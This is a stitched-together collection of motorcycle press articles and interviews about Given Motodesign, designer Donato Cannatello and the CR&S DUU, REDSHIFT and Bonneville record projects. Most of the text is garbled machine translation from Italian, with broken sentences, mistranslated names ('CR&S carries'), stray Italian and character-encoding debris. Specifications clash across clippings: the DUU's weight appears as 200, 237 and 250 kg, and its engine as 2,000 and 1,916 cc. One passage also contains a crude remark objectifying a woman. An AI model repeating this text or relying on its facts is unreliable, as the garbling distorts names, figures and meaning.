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Super Special N°14
Last 4 July at the Milan garage Given Motodesign was presented REDSHIFT, una moto custom su base CR&S DUU. We all know CR&S and his works on two wheels, we all remember the duu with its powerful twin-cylinder, a motorcycle "handmade, his heart, in Milan", designed for mass production but which remained highly artisanal and full of character, special already in origin and made even more special by a team of design experts.
To discover all the secrets of this motorcycle we decided to interview Donato Cannatello, former lead designer at CR&S e ora leader del team Given.
We are warmly welcomed into the lovingly furnished Atelier where REDSHIFT was born. Let's go and chat in the mezzanine office from which we can see the whole workshop and the guys from the team at work.
- First of all, how the Given Motodesign reality was born?
Given was basically born after my motorcycle experience in some companies such as CR&S, Matchless, Aprilia and others.
I preferred to open my own space and focus on a company that could give space to my ideas. Thus was born Given which is nothing more than the translation into English of my name "Donato".
Here I try to put my experiences from concept and design to work in the workshop to good use ... because in small and beautiful companies like CR&S, where we were in 10, obviously you take care of the design but you also have to go to the workshop to assemble and check all the steps ... and so I had a 360 ° experience in the development of the motorcycle.
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Looking at the bike, You can not know the brand. Much less whether it is good or not to drive. But one thing is certain: like it or not motorcycles, it is impossible to remain indifferent to the custom machine for Given, a small design company located in Milan, in Italy. It is there that the Brazilian Luiz "Bald" Mingione is working, giving physical form to the Italian designer projects Donato Cannatello.
Beneath the new bike ways, there is CR&S carries. A CR&S was a craft maker who was born in 1992 in Milan. The acronym stands for "racers and superbikes coffee". Duu means two in Milanese dialect, and designates the engine 2.000 cm3. The model was launched in Moto Salon Milan (Eicma) in 2009. According Mingione, each unit sold by 40 a thousand euros.
Function is to give forms to projects
The shaping function is Mingione in fiberglass and aluminum, and make 3D prints, to give form to ideas created by Cannatello. The designer came to work in their own CR&S e na Aprilia, among other motorcycle manufacturers.
As there were only produced 100 model units and now the brand is not operating, any CR bike&S would be enough exclusive. however, there are always customers who want more exclusive yet. This is the case of the owner of that unit. Mingione informs that it was made for a Dutchman who has restaurants in Italy and New Zealand. Customization cost 24 a thousand euros (approximately R $ 110 thousand). The price includes project, prototyping, parts and labor. The work took six months.
He also worked on a CR&From S (one, in Milanese dialect), the second model of the Italian brand. In this case, the engine has 650 cm3.
Once the bike is ready, Brazilian walks with her to see if everything is in order. Mingione is an experienced pilot, I 2002 He won the Paris-Dakar, in the category up 250 cm3.
Now, he says he is starting work on a new project, a Suzuki SV 650, produced in 1999. "The bike is not worth a thousand euros (R$ 4.500), but the owner will spend about 6 a thousand euros (R$ 27 thousand) to do something unique ", says.
He says the first step is to completely disassemble the bike to be customized. After, the picture is repainted and will receive the new parts, a process that takes about four months, depending on the complexity.
Mingione works by project. He's in Given a year ago, and intends to continue there until the coming end of the year.
He says he decided to try life in Milan because the parents of his wife had restaurant in town. Before that, however, Mingione went through several countries.
Molding clay learned in Honda helped
He joined Honda in Brazil 1993. Between 98 e 99, after the launch of Honda Biz, where he worked on the first prototype, He did an internship at the company's headquarters, in Japan. Over there, He learned how to build prototypes with clay, a kind of industrial clay, employed in building models.
After leaving the Japanese brand, in 2006, He spent a month in China, at the invitation of businessman. The goal was to select potential motorcycle brands that could be sold in Brazil.
This tour of "over 30 Business", one came to come to the country, a Iran, which closed in 2013.
In sequence, Mingione was for Ford in Turkey, which stood 2015 a 2016, working with clay in the development of indoor trucks.
In 2017, He returned to China. It was as coach of A consultant (United Motors), Colombian company based in the United States, I intended to make the country a motorcycle. after that, He headed to Milan, where you want to stay until the end of next year.
"We must sweep very shop floor"
Who dreams of following similar path, Mingione alert to the difficulties: "Indian motorcycle for those who like and want to learn new things, trend, materials technology and development ", says. "But for a beginner it is not easy. You have to grate and sweeping much shop floor. "
all this, Clear, out legal issues (work visa) and communication. The language can be a barrier, depending on the chosen country. Regarding the compensation, Mingione estimated that in Italy a beginner will receive between 600 e 800 euros per month (R $ 2.700 a R$ 3.600).
DUU REDSHIFT – The Contribution of the designers in the customization of motorcycles
Motorcycling is an activity in which converge harmoniously different aspects of design, the main one is finding a technical solution to the problem “transport functionality”. Manufacturers constantly seek to optimize performance in all its variants, the goal is to make the most effective and able to solve the problems of the users also speaking on style highlighting the emotional component of the medium. The emotion is the primary element, for motorcyclists all around them as they race to their means it has a completely different look, have a real and direct contact with everything. They are active consumers, living the street scene instead of looking, what they feel is an overwhelming passion that can make you feel the thrill of total freedom. The following thesis includes a study of the work experience of customizing a motorcycle CR&S DUU, the customer in question is a private whose application is to, starting from
an existing base, make unique the medium by the addition of components that would be able to enhance the aesthetic appearance of making tangible
the customer's wishes. Thanks to the strong passion
accumuna that the designer and the customer has been created
a bond of empathy, that allowed GIVEN
motodesign to fully meet the neces
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simple and effective, allowing designers
to understand the customer's needs immediately and,
even in some cases, to anticipate. In this
so is teamwork is favored permet
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project giving immediate feedback on the
conducted studies and prototypes.
Through the available technologies, GIVEN
motodesign has been able to realize a mez
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while maintaining an imprint of craftsmanship
found in some processes, such firm
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handmade by the team. The ongoing dialogue between the different
sectors has led to the creation of a product
that would express the character of the owner, bank
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Landone their identity and their own being.
GHOST
ROBERTO A VA Boneville
The navigator of the Multivan past nine he stopped in front of the closed gate of a farm. off the car. In the courtyard of an old lady already he knows what will be the question that will turn. Before me beyond the gray gate he heard the same words from Graziano Rossi, Marco Belli, Makoto Tamada.
"And, This address is via Ca 'Nine one, but they gave the same name to a street of the industrial area near here. You have to return to Verona. At the traffic lights turn left and at the first roundabout turn right. "
I turn off the German navigator and we rely on Google Map. The smartphone Diego in ten minutes brings us to the front gate of the In-Motion. Gianna welcomes us in the office. The air conditioning yells, come to serve, and outside there are forty degrees. Through the glass, in the shed, HRC and Minolta brands they know MotoGP. Along the wall a row of colored tanks with the brand Zaeta. The girl with blue leggings packs in boxes circles Kineo ready to be shipped. A nice ass….
Roberto gave us an appointment here, the farm of Julius Bernardelle, to make photographs that tell the first installment of this crazy project. Crowds as are projects that tie men close to the passions. Roberto Maria Crepaldi sessantino is a son of art. At seventeen he accompanied the clients of his father's dealership to pick up the car Enzo Ferrari. Over the years he has helped to bring to Italy the Jaguar brand, Aston Martin, Triunph, Harley Davidson e Husquarna. In 1993 He founded the CR team&S Britten and with Britten V 1000 He has participated in three editions of the Tourist Trophy.
Today, with RMC brand, Record Motor Cycles, He works to go on the salt lake of Boneville and beat the speed record locking to four hundred twenty-three km / h.
While Diego prepares camera bodies and lenses, Roberto's team gradually meets. Ugo Torri is an entrepreneur and a gentleman driver with a passion for speed and beautiful motorcycles. Giulio Bernardelle is the technical manager of the project. He won two World with Valentino Rossi and Roberto Locatelli, He was technical director of the Pramac Honda and Konica Minolta Honda team in MotoGP. Donato Cannatello is the designer responsible for the streamlined body of the motorcycle. Dario Marchetti raced on the track and on the road, in World, in superbike, nell’endurance, a Macao e Suzuka. In America he has already won at Daytona and the salt lake of Boneville will almost lying on RMC to run over four hundred per hour towards the record.
The guys of In-Motion lead out of the shed the prototype of the RMC. The team gathers around the motorcycle. Diego began taking.
Imagine a late afternoon winter, a man sits at his desk, He has in front of a blank sheet on which is going to start making the first, excited, pencil marks by taking the form to the sketch of his dream, two-wheeled, with a mark of his own, which certainly does not hide the ambitious goals it wants to achieve, Record Motor Cycles.
This man is called Roberto Maria Crepaldi, and dreams on two wheels has already made several. It born professionally in the environment of the four wheels, and he started working with his father, it was Ferrari Dealer. His, young, thus it will be able to get closer to an important person for his training and that ambitious dreams realized they will be a lot, Enzo Ferrari.
After the experience in the auto industry, where it goes from Ferrari to Aston Martin Jaguar, Roberto is dedicated to his passion, motorbikes, and does not stop at mere pleasure to guide them. At the beginning of 80s participating in the re-launch in Italy of three very famous brands such as Harley Davidson, Triumph e Husquarna. In 1993 founds the Team CR&S, caferac is & Superbikes and meets another important person, New Zealander John Britten, an architect motorcycle enthusiast who designed and built in his garage its a racing bike that bears
his surname. V-Twin engine 1000 cc with cycling ingenious and innovative solutions, Britten runs in the newly formed category B.E.A.R.S (reserved for prototypes of motion twins and non-Japanese tricilindriche) and Team CR&S becomes the point of reference in Europe and the Britten V1000 takes part in many international competitions titled, among which 3 Isle of Man Tourist Trophy and won the Championship B.E.A.R.S. World Series.
Robert and John are very good friends, They have ideas and common goals shared and also have a lot of passion, dressed with as much energy, It enables it to achieve these ambitious technical and sporting achievements. How many beautiful and moving stories, This also unfortunately experiencing a terrible moment when, in September 1995, As a bad relentless evil takes away John, just 45 years. And CoR yl Team Roberto&S back in the Tourist Trophy 1996, dispersed on that magical island in the Irish Sea, where it all began a few years earlier, and Shaun Harris driving, the Britten V1000 passes under the flag of the Senior TT chess, a great satisfaction to remember and honor its builder with other major sports seal that inextricably links the winning partnership came from the antipodes, and that will still surprise us and excite us in the future ... no mistake.
In 2002 Roberto becomes a builder and brand CR&S has two interesting and original motion, the single cylinder CR&S OF nel 2005 and the twin CR&S CARRIES nel 2009.
Let's go back to that sheet of paper, few minutes later, White has much more recently. Roberto, that even this has very clear ideas, in addition to having traced the lines of the bike which will be born, also it has in mind the training that will transform that draft, before honing and then materializing, creating a unique product and terribly fast, fast enough to honor the brand that will lead to the tank in an attempt to set a new speed record, rather two, the salt lake of Boneville.
The team must be cohesive and effective, because of work to do there will be a lot and we must get it right, very well. For that Roberto is joined by Hugo Towers, business owner, great lover of two wheels and ambitious achievements it will be a lot, Ugo is the Director of RMC Project.
For the technical part of the project and executive responsibilities of this fascinating adventure is taken by the engineer Giulio Bernardelle, with vast experience in racing both in two-stroke engines, contributing to the World Titles of Roberto Locatelli and Valentino Rossi riding the Aprilia 125 e 250 cc, is where the engines are four-stroke MotoGP spent in.
Aerodynamics is another chapter of fundamental importance to beat the current record, that Boneville for the category Partially Streamlined, partially exposed faired with pilot, where our have decided to try their hand, and of 423 km / h. And, you read that right are quattrocentoventitrè km / h, and motorcycle lines will be managed and implemented by Donato Cannatello, Given the holder, dynamic company specializing in prototype study and implementation of complex body.
Even in the choice of the pilot Roberto again proves to handle it really. He who will bear the burden, and honor, to rotate the throttle is called Dario Marchetti, professional driver from the thirty-year career, Dario has raced in many paths and tracks of the most important and fascinating world, from Daytona Macau collecting many successes. During a pleasant chat Dario tells me: "Sai, the fact that they chose me not only fills me with pride, I'm excited and very honored to be part of this team, Roberto I am known him for a long time and I respect him a lot, we are friends and I raced for him a few years ago, right on the fantastic bike called Britten V1000 Team CR&S”. everything back, magically, with passions and emotions that meet and intertwine. "Then", goes on, "To my long career, missing only two things, an attempt to record and the Tourist Trophy Isle of Man to which I had to take part in the 80's but for the latter it is too late ".
Big Dario, now we think of the record, and then for the TT – understood as Lap of Honor – maybe you can do something …but for the moment we do not reveal anything and we remain focused on Bonneville.
Completing the Team Media Manager Riccardo Capacchione, professional journalist and an active tester for many magazines and Raffaele Canepa, photographer, and director who held the function Media Producer.
The project is very interesting and technically very intriguing. A frame with mixed structure will host the engine naturally aspirated 8 cylinders, very compact, positioned longitudinally. The displacements of 2000cc will be for "Red Spirit", that pays tribute to the immense Italian motorcycling culture, for many years the absolute reference point for all other nations, and of 2500 cc for "Tribute to John Britten" to honor this brilliant character with few resources, assisted by a handful of technicians friends, He has created one of the best racing motorcycles ever existed, sealing the strong bond between John and speed. In 1993 a motorized torpedo Britten V1000 conquered the world record in the quarter mile and the mile with standing start and the flying kilometer.
The work is proceeding and shipped in a while we hear the sound of this mighty engine that will have a capacity of over 400 cavalli. It 'started the countdown for the Speed Week of Boneville 2017. Ghost will have the pleasure and honor to tell all the evolutionary stages of this beautiful and exciting adventure.
Thanks Steve and thanks to the whole Team RMC. Bonneville approaches, we turn on the motors!!!
Text: Pier Giuseppe Ortalda
Photo: Diego Mola
MOTO.IT
Reverse this order: what you are reading is the comment and who will want from you readers will write below the real article on special and custom display at EICMA 2016: I place myself outside the journalistic and within straight into the wild uproar of personal opinion, antipathy / sympathy something like customizing, and its many facets, which by definition is a place of confrontation between opposing ways of life and asymptotic motorcycling, so I ask everyone to consider these lines a mere comment: The genuine article I will write the willing readers.
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To try to orient myself in the hundreds of lighthouses that I winked persuasive, and to learn more, let myself be seduced by the stand of Given Motodesign that exposed among others a - Interestingly, in my opinion - Special to The Nation Kawasaki ZRX 1100 (called "Fuck") in collaboration with Officine Riunite Milanesi, which intrigued me a lot polygonal discs, to guarantee rigorous operation which has set the same supplier, the legendary Enrico Discacciati himself!
Donato Cannatello (Donato-Given... I got it?), GIVEN's owner and design experience in CR&S, Matchless, fight, Aprilia, He was patient, and exchanging a chat with me has exposed me his point of view on EICMA 2016 and the future of customizing.
To put GIVEN and opinions reported by Donato, We add that deals with both to provide a service of planning and design for those who want to build a prototype (from concept to pre-series to lead to the production), both those private individuals who ask "frame off" projects on their motorcycles.
"Oddly enough we had much feedback from ZRX that the duu, both exhibited in our booth, despite duu is undoubtedly a more refined design and ZRX half a lot cheaper, but evidently the most "eye catcher"».
And how would you rate the level of the Show within custom and special?
"The level of EICMA, if we limit ourselves to the custom and special, it seems much higher and mature than a few years ago: from the realities artiginali, which still produce exceptional results, We are switching to a more mature approach both on the engineering design of the parties. From the point of view of the motorcycle, instead, I loved the Harley "OPERA" South Garage, very stylish; also he won the contest, but as you know the contest virtually win them a bit 'all (Donato refers to the myriad of categories and not very numerous participation editor's note); the corner custom instead seemed a little 'subdued, little space and decentralized than the vital center of the Show, and this seems a bit 'counterintuitive: it is the most challenging part, instead many did not visit it because they did not know it was in the corner of the pavilion 2; it is also true that there is an audience that is not really interested in custom, They are those that have the V-Strom with the trunk behind, but there are also many real fans who prefer to see a piece billet instead have not even managed to find us ».
Sul futuro del customizing? Donato has no doubts:
"The breakthrough, in my opinion, it is very clear from the past: in designing a special it has gone from the bike rest on the bench and improvise, to do it first, as in our case, a rendering and 3D scanning, then work directly on the computer, and record hand sides, in sheet or simply printed in 3D; Customizing the future of the market do not see it in the designers' skills, because today everybody can take a computer and put a kid through to design and implement a 3D printer, but I think this will be dictated by legal factors, such as compliance with homologation standards and the evolution of style and trends: we must see how long this phenomenon customizing very artiginale, I believe that hand made could very well be supplanted in the near future by a more designed customizing, designed and evolved more ».
A last question: because the tessellated tires on a road bike? (ok, I know, it's my personal crusade ...)
«It was a customer choice ... but I must tell you that if it were not for this request the ZRX "Maialona" we would not have drawn as you see, understanding the concept of supporting abdominal muscles and not the lower parts of the tank, that seems like a solution ... "best". Perhaps without the knobbly tires we would have made a less angular motion, rounder ".
I leave the gallery of motorbikes, with admiration for all exhibitors in the custom and special sector who are certainly not there for an immediate economic return, but who often invest time and money invaded by the passion to always move the bar of excellence and madness a little higher.
Study techniques and design
Study techniques and design
Posted in China with a circulation of 75.000 copy, for use as a technical manual in Chinese engineering faculty, he volume "Technical Study and Design" is the third in a successful series of technical manuals written by the prolific Professor. Stone Wen.
On Inner describes some production processes adapted from us, taking them for example for young Chinese students.
The publication of this book was an extremely pleasant and interesting experience.
Summary
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interview Summary:
1a. The form of motorbikes has undergone great changes ever since their emerging. What do you think might be the factors involved in this process of changing?
I do not entirely agree.
The soul of motorbikes has remained substantially unchanged in more than a hundred years.
And this is confirmed by some models currently in production which reinterpret the style of classic motorbikes since they recall the essence of motorbikes; two wheels, an engine, vibrations and emotion.
The changes in forms and styles that inevitably ensued in time depend in my opinion upon 4 reasons: technique, fashion, cultural evolution and racing.
For the first 80 years we’ve been focused mainly on technical evolution, producing machines which aimed more than enything else to perfection and performance.
In the last 20 years instead the development of the more interesting elements of technique and racing stopped, leaving the evolution of the motorbike to the sole socio/cultural aspects.
As of today such aspects are predominant in motorcycle production and generate nostalgic, absurd, futuristic or hyper detailed models.
.1b. In which way the form of European motorbikes might evolve in the future?
European design, such as eastern and western design, will specialize following specific exigencies; form is always defined by the place where production begins.
Notwithstanding the inevitable cultural contamination, European production will always aim to a motorbike that is both functional and passionate, a perfect balance between driving and aesthetic characteristics, fun and usefulness. Everything to go along with our own territory, so uneven, with variable landscapes, winding roads and steep hills.
As American production is dedicated to their endless plains and long and straight roads, and at the same time eastern production tends to follow the markets, cities and street overcrowded with extremely functional and rational products.
- Each excellent motorbikes design is featured by its own unique style, conveying to the customers special emotions and connotations. As a designer, how do you illustrate the personality of the motorbike by using the form language ?
In motorcycle design, and more generally in industrial design, volumes are the main feature, the first to convey a message to the customer.
Looking at something against the light, one can sense immediately its character: if it conveys power, lightness, speed, elegance or anything else.
The same happens in nature, discerning in the darkness a pit-bull from a poodle just from its outline.
- Motorbike design has to take many parts into consideration, such as the chassis, the engine and the exhaust pipe and so on. It appears complicated and overwhelming to beginners. Do you have any suggestions on how to balance the skin (the covering parts) with the structure to achieve a perfect unification?
It depends: are we drawing on a white sheet or are we working on something?
In general, design should come first, before exhaust pipes, before the frame and before the engine. Design has to be the first approach to a motorcycle project. Mechanics will then follow the directives of design with reciprocal adaptation.
If the approach of design follows the planning (as it happens in restyling), then some fixed points have to be decided in order to proceed freely with all the rest. For technical objects such as a motorbike, there can be an easy rule: parts which are mechanically interesting or well done have not to be covered, but left in plain sight. If possible it is to be preferred to redesign a technical part that is not satisfactory and make it part of the design, instead of covering it.
There is however one fundamental thing in our designing, the point of view of a motorbike is never perfectly lateral to the bike but is placed higher; let’s do not then only design a beautiful lateral view, often a good proportion of the lateral/superior volumes is more important that the lateral view.
- In a certain extent, the perspective view, light and shadow of a motorbike is more difficult to control than those of a car. How can we get a better control in motorbike sketching? Can you Please show us the drawing process of a Motorcycle( by using 6 pictures to explain the drawing steps). For the young students, How to improve the drawing abilities.
Considering the difficulties of motorcycle design, we can interpret it as a multilevel design.
1A first level, global vision, a second level, more detailed, a third level, even more detailed, and so on. The first level is the most important, what the customer gets at first sight, what conveys you the pleasure or fun of an object.
I work following this rule.
Starting from the overall view (general volumes) and then following with the definition of more particular details: the tail, the front, the frame, etc. up to the screws.
- Motorbikes and cars are all transportation vehicles and the form design of both are naturally connected. Then, what, do you think, distinguishes each of them?
Historically, the use and function of cars and motorbikes have always been different and hence also the respective design.
Now they are crossing, evolving in all directions.
Cars used to have as primary function transportation, while bikes were more linked to the idea of form (fun, taste, speed).
Today the market tends to fill any void, and therefore we have cars that are pure form and motorbikes which are pure function.
For motorbikes this change is by now consolidated on the market (i.e., scooter), while this new tendency for cars is still not predominant, and interests a smaller niche of the market; but I am sure that soon we will see cars with the engine in plain sight, “naked” as motorbikes.
- At present, many new technologies, such as carbon fiber and LED, are applied to the manufacturing of motorbikes. How will these new technologies affect the form design of motorbikes?
New technologies have always influenced design as a fundamental part of its development process.
Personally the main contribution that I received and appreciated from modern technologies has been in production numbers.
Today it is easier to build a small series of motorbikes thanks to new technologies such as carbon fiber, LEDs, CNC machines, prototyping and new materials.
For example, prototyping and CNC milling applied to modern materials allow us to have a unique ABS piece, without the need of expensive and difficult injection moulding; furthermore, thanks to silicon stamps, we can build small series of copies in polyurethane with low costs.
Also polyelliptical headlights (even better with LED technology) contributed to overcome the limits of industrialization. They can be hided in a transparent Plexiglas fairing, shaping them without the need to homologate a new light as it was necessary before.
And finally carbon and laminates in general free us from structural boundaries of plastic, with mechanical and not only aesthetic improvements.
- Some of the top motorbike designs are completed by handicraft. How is the value of the motorbike is expressed by traditional handicraft?
I am fond and always been a supporter of handwork.
In motorcycle design handiwork is substantially clay modeling and the level of detail is high, but it requires time and economical resources for the reverse engineering process necessary to transform everything in digital form.
I prefer using digital the means that are at our disposal, avoiding the analogical passage, to simplify and speed up the creative process.
RIDERS 08 2009
In a Milan increasingly cont el coeur in man, fortunately there is still someone who builds motorcycles with the heart and hands.
Singly, with great care and passion. The momentum stories and so many men they have been told, but this is the story of an idea.
A simple story, but special in its small.
If two wheels move the soul, the courage of a few friends managed to bring a motorcycle brand in Milan. A long shadow of the Madonna were operating brands such as Bianchi, Miller-Balsamo, Iso Moto, Parilla, Guazzoni, Innocenti. And Paton Peppino Pattoni, the last GP in private constructor to fight against the Japanese giants, with the four green cylinders.
Today, the city of fashion, to cut motorcycle on the extent there is CR&S. View from outside, its headquarters is a small shed like so many others in the industrial area of Settimo Milanese. Except for one thing, motorcycles lined up outside: look alike, but they are not identical. They are a little single-cylinder’ cafè racer, a bit’ naked pocket size. They are called Vun. They Idea. The people who have carried out work under the same roof, as parts of the same motorcycle. The shop is on the ground floor, the walls are plastered by posters of the Bol d'Or, Tourist Trophy and Assen. The design and paperwork department is on the open plan mezzanine (rather, spasi avÈrt), dominated by the sinuous fairing superbike Britten V 1000. Roberto Crepaldi sits right in front. It was he who founded the Cafe Racers & Superbikes in 1992, after leaving the Number One opened with Carlo Talamo and Max Brun. The following year, he met John Britten, the brilliant engineer Zealander famous for its V 1000. He too fast in pursuit of an idea. let Britten, supported in Europe by CR&S, it showcases in competitions around the world, until the disappearance of the same Britten. Using the experience of entrepreneur in motor insurance (It had been dealer of Ferrari, Jaguar e Aston Martin), Crepaldi takes its cue from the last John's project of a single-cylinder racing, single-seater, with the weight and power ratio equal to one. One. of, in Milanese dialect… John Cabassi and Giorgio Sarti are friends, entrepreneurs, Free bikes thinkers in 2002 They have flanked Crepaldi in CR&S. Two years after Roberto Pattoni, son Peppino and owner of Paton, become partners of the CR&S as a technician responsible for the development. The engine choice is the Rotax Bombardier 650, appreciated on the BMW F thanks to its street-oriented and reliability . Conceived as a racing mono, The Vun proves an animal to mixed close, also excellent for use in citY . The design combines the classic lines of the frame tubes to modern aluminum body, sleek lines and technological solutions. Each item is customizable, perchéil driver can experience the pleasure of choosing Vun build their own components and painting. At the end of 2006 begins the production of series, in a few dozen units a year, flanked by racing prototypes. Recently, the two versions are added EvoluziÀ²n of mono 652 cc. The prunta for fast development 68 cv, while Nurma the content to 54 cv a 7.000 rounds. However bad, taking into account that the dry weight is only 135 chili… The Vun speaks even meneghino in the data sheet, in which the floating disc brake disc becomes balerÀ¬n and chain with o-ring Cadena believe the Anei de goma…
The great challenge of the CR&S seems to win, distribution widens in Europe and the US, but the ideas do not stop spinning. That give the inevitable result of the Vun, with two cylinders outside the box and from the logic of large numbers, It was already the head of the Milanese builders in 2008. as long ©, He tells Crepaldi, the Motor Bike Expo comes the revelation of that year:  "We stand WMO, Meccanotecnica the Milanese workshop that imports the Wakan, together with that of Confederate, just opposite the Zodiac stand with the new twin-cylinder S X-Wedge&S. Then Wakan, X-Wedge, Confederate, of… leads!».
The story contains a conceptual figure for Sela, stylistic and aesthetic of the new twin-cylinder CR&S. Basically: a maxi unprecedented streetfighter, less elitist Confederate, radical such as Wakan and constructed
building on experience Vun. The heart of the project is the engine X-Wedge, that the fundamental requirement that they be an imitation of the Twin Cam Harley-Davidson. The V2 to 56A ° S&S is equally massive, but more
modern and powerful, with its 2.000 cc, the three camshafts, the electronic injection. À able to 160
Nm of torque just over 3.000 rounds. Stuff to rollover, though approved Euro 3. And considering that the DUU should weigh œsoloâ â € € ?? 250 chili, like a Harley Sportster 883…
Notice how the numbers recur: two cylinders, two liters, two seats (wanting). And the big pipe that characterizes the frame with a mixed structure steel. The first sketches are concealed by superstructures optional, but it is clear that the beauty of DUU shine in its brutal simplicity. Naked and raw, designed to be guided head and without too much effort, but it designed to strike at the mouth of the stomach. Yet
once form, function and emotion chase each other in a game of balance. La Come From, DUU is also a story of lust destined to adult motorcyclists, evolved and demanding. That maybe they want to return to fall in love with a thrilling motorcycle. He said the philosopher Gilles Deleuze, that  "There Is no investment revolution libidinaleÂ". And without, even they build unique bikes, with the support of a level of creativity that the great houses can no longer afford, choked by caution and the marketing logic. À a fascinating bet, to be played, but within reach. Although it is still at the level
prototype, It is anticipated that the price should fluctuate between DUU 19 and 20 thousand euro.
Little more than a Ducati Streetfighter S, in line with the V-Rod Muscle, less than a V-Max
and gave a Harley-Davidson CVO.
Presentation of this year's EICMA prototype, to see the ultimate motorcycle at the Milan Fair 2010. Production from the next season: Â "We are not looking for big numbers, we are a small company with ideas
chiare »concludes Crepaldi.  "The goal of one hundred motorcycles a year would reach break-even point and allow a profit margin, to be reinvested in the development of the next motorcycle CR&HER". Translated
freely in Milan: Gh'è minga de düü without Tri.
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MAX 03 2010
MIRACLE IN MILAN
It is called CR&S and the hinterland is a small company with a great passion.
His motorcycle “must be something special”, They are constructed by hand and each of them is different from the other. Here's his latest gem: naked, custom, roadster? A bit’ all.
An anonymous shed just outside the rural town . It is a phrase that “tattooed” on each of the bikes that come out of there “They say in Milan, cont he heart and cont’i man”. Translated into Italian means “made in Milan, with the heart and hands”, the essence and philosophy of CR&S, a small company founded by Roberto Crepaldi visceral passion for two wheels. Crepaldi has clear ideas: every motion made by CR&S must be something special and be different from others. As his latest creation. Bring the (“due”) as the name implies it is the second motion of the short history of CR&S, It has a huge and explosive engine with two cylinders 1.916 cc and escapes to the traditional definitions. Naked, roadster, custom, streetfighter? A bit’ all these things together, but the Duu is first of all an exclusive work of art made of precious metals and refined materials molded according to forms that to define original and fascinating is almost an understatement. In addition, each customer can customize their character by choosing construction, components of the chassis and engine preparation level. Pricing starts at 20.000 euro, But besides the money you will have to have patience, because the CR&S are constructed by hand, one by one.
Stefano Bariggia
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AMD USA 01 2010
CR&S Motorcycles used the ‘EICMA’ motorcycle show in Milan, Italy, to debut its newest prototype model – the X-Wedge powered Duu.
Initially being shown as a concept bike, when the Duu, designed by Donato Cannatello, goes into full production, each bike will be hand-built with the customer having the choice of a range of technical and aesthetic options. The available options will include a single and/or two-seater base module. “We believe this Euro sport cruiser has the potential to be a kind of American equivalent to the Triumph Speed Triple, but with Italian style,” said Roberto Crepaldi, the Managing Director at CR&S. “Duu is the right name for this model – it’s a V-twin, the second member of the CR&S family, it will have a two-liter engine, will weigh 200 kilos, and will carry two people. What else could we cali it?! “Production will start early in 2011.We’ve already begun road testing the development bike, but we’re ali really anxious to get some feedback from the public.”
International Dealer News 01 2010
Roberto Crepaldi’s latest project, the Duu, is an air-cooled big twin built around S&S Cycle’s American-made 1916cc/117ci 60 degree V-twin engine.
Shown as a concept bike at EICMA, Crepaldi says the Duu will be a modular-built bike, with customer configuration options that he hopes to sell at a base price of €20,000, with a production volume of a few dozen units per year, and first deliveries targeted for 2011…
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Low Ride 11 2009
The 2011 It seems almost here.
A wave of modernism makes flying the little big house in Settimo Milanese. CR&S already is distinguished by the originality of their streetfighter from mixed close and the uniqueness of each piece.
The logical evolution of the mono, essential and fun, This will be twin. It seems “solo” a concept bike but a forklift DUU has already traveled several kilometers; The tests validate unusual technical choices. The twin X-Wedge is its beating heart, un v-twin “air” almost two liters that enhances the search S&S over the classical schemes of Harley-Davidson. The angle of the cylinders of 56 degree course cancels the vibrations; distribution with three camshafts in the crankcase and toothed belts ensures optimum geometry, via short rods and hydraulic tappets. Contained is the mechanical noise, making the Euro homologation possible 3 with injection and catalysts. The stainless steel exhaust is studied by QD Exhaust to centralize the masses and allow lateral inclinations greater than 40 degrees. The potential of this very big twin is remarkable even in the configuration “code”: at least 100 horses and 130 Newton / meters of torque, but the delivery is full every scheme. Change to separate 5 O 6 relationships and primary chain complete a powertrain inserted in an original frame. A big part of steel pipe from the steering head and contains the lubricant; It argues beautiful side plates, billet atelier Rhizome, to which it is anchored by means of a transverse tubular section; the single-sided swingarm. All proposals CR&S are born with the aim of guaranteeing driving pleasure and the Duu chassis, a Made in Italy distillate of sports extraction, will not disappoint . The details are beautiful, starting with the steering plates made by rizoma and from the modular wheels; Brembo brakes and quality suspensions allow ample adjustment. Accuracy and responsiveness agility promise to pilot , extreme folds and handling, without falling into the opposite extreme of too much odds “nervous”. With dimensions close to those of a XR1200 and weight of about 237 kg dry, thanks to the infinite extension of the engine it should be fun, easy and exasperated. These qualities are added a modular philosophy to configure the motorcycle according to different driving styles and life, component quality, craftsmanship with industrial guarantees: easy to foresee immediate interest around this streetfighter. Many of the components CR&S are custom designed by Donato Cannatello by Italian companies like Rhizome. Originality and fittings “tailored” should represent an additional plus in favor of DUU. Even the fixed price promises to be interesting, circa 20.000 euro: close to that of the VRSCs and lower than the new V-Max… How long before the 2011?
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Some covers devoted to duu
RIDERS
CARRIES, BUT NOT OF SPADES
On sale in a year at the base price of 20 thousand euros, DUU view the last Milan show as a concept (and we have described a preview of number Riders 22) It is one of the few truly original proposals of recent times.
The Milan CR&S that gave birth to it is the same as the very light single-cylinder Vun: Roberto Crepaldi, Giorgio Sarti and John Cabassi, All three riders before entrepreneurs, They have focused on an unexplored niche but interesting. The Duu is a special produced in small series, modular and highly customizable, with exclusive content of American and European style of Confederate Wakan French, but offered at a fraction of the cost. leads, two dialect meneghino, because the cylinders are two and the displacement (1.916 this) It is next to two liters, and why, wanting, the bike PUE be in two places and not as the single-seater Vun. This maxi streetfighter is equipped with the V2 of 56 ° X-Wedge of the American S&S, a strong monster with its 16 kgm torque maximum just three thousand revolutions. The frame is made of polished stainless steel: a big girder which also acts as gasoline container, with aluminum side plates to support the single-sided swingarm (always a large curved steel tube) and the petrol tank which also holds the saddle.
The design is signed by Donato Cannatello, who worked for Aprilia Bimota, which it has positioned unloading under the engine, It hid all the abutments and created an easily editable minimalist line by adding, or removing, a set of accessories (including panniers or a container above the reservoir) functional and aesthetic appendices. The saddle can be in one or two places and there are different solutions for headlights and surface finishes. Despite the big engine, the bike is altogether compact in its kind and weighs as much as a Harley Sportster 883, because DUU is made to be driven not only ostentatious. An ambitious project, not devoid of resistances to be overcome, as its experience and reputation of the CR&S. But it must be said that this reality is organized, small, like a real motorcycle industry. (Maurizio Gissi)
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Two wheels
Big twin a Milano!
After the twin mono: from a small artisan reality this overflowing two-liter with a unique style was born
by Riccardo Capacchione
